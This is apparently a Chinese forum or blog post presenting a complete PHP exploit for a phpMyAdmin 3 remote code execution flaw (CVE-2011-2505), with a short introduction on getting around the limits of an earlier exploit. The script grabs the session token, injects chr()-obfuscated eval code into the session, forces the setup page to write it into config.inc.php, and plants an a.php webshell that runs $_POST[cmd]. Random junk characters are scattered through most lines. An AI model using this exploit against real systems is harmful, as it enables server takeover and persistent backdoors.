最近在家做专职奶爸,不谙圈内事很多months了,博客也无更新。$ ~1 c0 }- B( \7 [6 }& P: V
0 \; \9 q9 r G6 V+ J: ? C
昨夜带孩子整夜未眠,看到黑哥在php security群里关于phpmyadmin3漏洞的讨论,虽然之前没看过漏洞代码,不过前段时间还是在微博上看到wofeiwo的exp了,不过据黑哥说有不鸡肋的利用方法,于是夜里翻代码出来研究了翻,写出了这个冷饭exp,由于我搞的晚了,之前已经很多人研究了写exp了,于是我这个属于炒冷饭,权当研究研究打发时间了。
& D7 K" I! W3 `. u) p; g* z4 L: C
3 X, C% r, U2 U7 n: R- j, w5 Y6 q首先赞下wofeiwo的python版本的exp,再赞下wofeiwo跟superhei的钻研精神,学习的榜样啊。不过之前那个exp利用起来是有一些限制的:
$ @) f1 Y8 D: g一是session.auto_start = 1;+ K6 G( n& L; q) M: R
二是pma3默认代码里libraries目录已经用.htaccess控制了不允许访问。
$ [ c `* R5 G: W# |9 `# h- R当然还有第三点大家都不可以逾越的鸿沟:config目录存在且可写。
( i- o2 @) S9 m% p$ e
: j) w# |7 U# \( I在群里看了黑哥的发言后,再看了下代码,发现前两点利用限制均可以无视。所以其实这个漏洞还真的可以不是那么鸡肋。- H2 g8 ?; f$ |4 D! V
) }6 p; J3 i, R; u于是写了这个php版本的exp,代码如下:! a- \7 i; k" A) z
+ c# c( q* [2 C5 X. ?3 E! G F3 @
#!/usr/bin/php
0 P% R. h! r i6 Y& W; i7 I% n9 f<?php \/ J1 `+ X8 i! Z7 o3 y: v) G
print_r('
6 A. @2 B9 d' f8 T+---------------------------------------------------------------------------+
) o) J( W$ w# x spma3 - phpMyAdmin3 remote code execute exploit [Not jilei(chicken\'s ribs)]5 L+ e* o& `$ g+ g% N8 S {
by oldjun(www.oldjun.com)% e. }! t2 V# u+ ?" C
welcome to www.t00ls.net- V1 Q. r/ _: h+ e% H% Q
mail: oldjun@gmail.com2 ?" I6 G5 n- L4 d1 J; m5 {
Assigned CVE id: CVE-2011-2505
% I b! R6 N! E/ ~( n. A+---------------------------------------------------------------------------+
( [+ C$ w2 j0 ]. _');
& m" x8 |1 v4 `) b; Y- O- L( c4 l7 ?3 C. {$ I
/**/ ^, p( m4 L7 A" i
* working when the directory:"config" exists and is writeable.* T2 f5 w7 d6 M, s+ A7 j3 a8 @
**/
# D0 [$ W2 M4 t8 }# q
; a. p: j( s! e+ F9 C: S( L {if ($argc < 3) {
( N* G ]: p# l. F print_r('9 o2 w ]7 u" G/ U, m1 j# D
+---------------------------------------------------------------------------+. ^* d1 i1 D! \
Usage: php '.$argv[0].' host path
. {4 K+ l, ?# lhost: target server (ip/hostname)
" o# ?8 v+ s* s0 Q- o/ O1 b: vpath: path to pma3& K4 z9 w1 ?8 o& K0 z: C- X& \& f. H
Example:. c& l9 }! X( N* G6 k# |. o
php '.$argv[0].' localhost /pma/
2 a( l1 n! d* f4 Q7 w0 Z- i+---------------------------------------------------------------------------+
! _4 R; J' r8 M');
) `) v6 B0 y' X% ]' e exit;3 v. R" _* i: Z9 ~: K2 ?
}" P- ]& ]. ]7 o4 W0 x; ]2 `
6 T7 \0 d! V: A4 h7 n$host = $argv[1];
, e H& \" }4 ?: i! |$ j$ Z$path = $argv[2];
0 d7 k* i+ k9 o3 s- @( {. O' c6 \$ i7 Y
/**- R6 h {/ o' U9 [; h; x
* Try to determine if the directory:"config" exists9 r+ _8 f: c7 T$ W: A2 p# S7 Y
**// b# x; m+ @3 ]1 c! ^% i- U% p
echo "[+] Try to determine if the directory:config exists....\n";
' G X3 q' \3 P3 e/ H4 W' {$returnstr=php_request('config/');
6 N$ O) p. e: b7 x% K6 h. mif(strpos($returnstr,'404')){
" {9 B# X N! D7 \1 D0 d; L4 l6 Y' g exit("[-] Exploit Failed! The directory:config do not exists!\n");
. {" D- `! \# F% E" P/ t}
. x3 Q/ y! C1 X, v' L( p+ h% Y' k8 A+ f4 G6 N; a8 c
/**
+ T$ c8 o5 ?& A( K2 f * Try to get token and sessionid1 G# |! A# S$ y- K2 L# ]/ O* x$ E
**/3 E2 I, e7 Y9 q& i# \% c3 J, D
echo "[+] Try to get token and sessionid....\n";
' f$ N6 K1 u7 j& e$ N* D7 q$result=php_request('index.php');
7 F. O, ?% j% I+ v9 O0 q6 spreg_match('/phpMyAdmin=(\w{32,40})\;(.*?)token=(\w{32})\&/s', $result, $resp);
# d; ~" u. i4 J8 e5 S$token=$resp[3];% h/ B" K! K0 K- Z& G7 e
$sessionid=$resp[1];
! t: |. w1 P( T0 Z6 tif($token && $sessionid){
3 \1 p( l* h1 N: z! }* S6 W1 b echo "[+] token token\n";
! e5 I& e4 P( T% h( x: V# y echo "[+] Session ID sessionid\n";+ L0 ~$ Q. A' c' M! Z, u
}else{
! Q8 }1 d6 D/ T1 c. q) z exit("[-] Can't get token and Session ID,Exploit Failed!\n");$ c# y; [1 K" S
}7 z6 `% @) {+ T4 f& \8 ]
& K+ I+ H/ L, Z/**; j! U \. v8 M3 K5 F2 Y9 K v# f ^
* Try to insert shell into session' I! q3 C5 ~) W
**/0 b+ n* s; h0 V* f, j+ M/ o3 F- m0 K
echo "[+] Try to insert shell into session....\n";+ _7 }% u8 G+ @; z+ Y) `' @0 S
php_request('db_create.php?token='.$token.'&session_to_unset=t00ls&_SESSION[ConfigFile][Servers][*/eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(97).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59).chr(101).chr(99).chr(104).chr(111).chr(40).chr(39).chr(116).chr(48).chr(48).chr(108).chr(115).chr(39).chr(41).chr(59));/*][host]=t00ls.net','','phpMyAdmin='.$sessionid);//Actually,almost all the php files in home directory of pma3 can be used here.% o3 ?8 S0 B/ F
$ j* Z( Y2 ?0 x8 K
/**
( S( m: M8 {1 y9 q * Try to create webshell, q* m9 U6 u# ^1 C
**/0 R3 e i y6 E. E: @# U( l5 r" {
echo "[+] Try to create webshell....\n";0 C, g: H) ]3 v: S7 E
php_request('setup/config.php','phpMyAdmin='.$sessionid.'&tab_hash=&token='.$token.'&check_page_refresh=&DefaultLang=en&ServerDefault=0&eol=unix&submit_save=Save','phpMyAdmin='.$sessionid);
# H4 m1 A6 ]5 z2 b1 L( K; ~/**
' z& D6 e9 S- L7 `( l1 h * Try to check if the webshell was created successfully
& O! ]! i# ?# c9 ?% V**/
. h, k( C: q& G2 o! J J: X# becho "[+] Try to check if the webshell was created successfully....\n";7 H; c4 j( O3 Q
$content=php_request('config/config.inc.php');; t2 X5 R$ _+ g T
if(strpos($content,'t00ls')){
7 n$ ?3 z0 @, i! q, {) D echo "[+] Congratulations! Expoilt successfully....\n";
/ z+ K" R( A/ h5 u echo "[+] Webshell:http://$host{$path}config/a.php eval(\$_POST[cmd])\n";, x0 M k% D' L# _7 f: B( ^
}else{
* _( }' i5 H: \+ w: w exit("[-] Exploit Failed! Perhaps the directory:config do not exists or is not writeable!\n");
& Q! b. q' v( n/ y# _}
8 X7 s) H% o6 {$ f" w4 j
; d! @8 l3 v& y& Dfunction php_request($url,$data='',$cookie=''){ }/ X3 n% a0 W
global $host, $path;
) D$ V; }+ }* x& C" }1 \# ~ 6 y4 C5 Z+ a6 X' H
$method=$data?'POST':'GET';* S: u8 H# g8 ?# r1 m! @& j
" o9 ^2 j5 Z. b) ~! T' F
$packet = $method." ".$path.$url." HTTP/1.1\r\n";& Y. V# m2 ]. T- b6 ]1 X( z" z
$packet .= "Accept: */*\r\n";( [) C6 u3 |* R, f6 D4 m+ r( A, ^
$packet .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";
: M/ v$ X( F" @& N& @ $packet .= "Host: $host\r\n";
; s" T% q9 s8 ~0 F $packet .= $data?"Content-Type: application/x-www-form-urlencoded\r\n":"";8 H' @, b, N! m7 G' p
$packet .= $data?"Content-Length: ".strlen($data)."\r\n":"";
- X' s5 i6 g2 @/ n $packet .= $cookie?"Cookie: $cookie\r\n":"";4 j; W. {3 }4 n4 l# l0 x
$packet .= "Connection: Close\r\n\r\n";( r; |2 K3 c/ f9 t' F' h* W% L
$packet .= $data?$data:"";
) f* b5 h( f: D
/ [$ ~: ^3 i, l d $fp = fsockopen(gethostbyname($host), 80);
( q' D7 K) K1 X1 s c! t if (!$fp) {1 n* V' h9 n/ t7 _) r9 z
echo 'No response from '.$host; die;% U" O+ A) q( C! v. U2 o. T: }
}$ a' R9 F! _( b3 C, k2 O
fputs($fp, $packet);
5 ?. A( ?0 Z" M3 [5 M: U- X: ?. C& u. B7 F& I2 ?$ X8 X
$resp = '';: I2 f& K2 N2 |- Q+ D9 g: {2 q' J) L
9 L; K7 l, G/ W6 o
while ($fp && !feof($fp))
5 y4 b- w* I, x6 v* \3 @; p6 [ $resp .= fread($fp, 1024);: r/ h7 a1 U% ~" T
( ~: m4 H1 g; T5 E" z. m0 f return $resp;
; K: X- }4 g* K! {: @} |) B, k; |" O! I$ \6 H1 b8 R5 E% M
" \% F% ]2 J7 U5 x- J+ c8 ^?>
& k' c# j, o& d3 e* R. a. |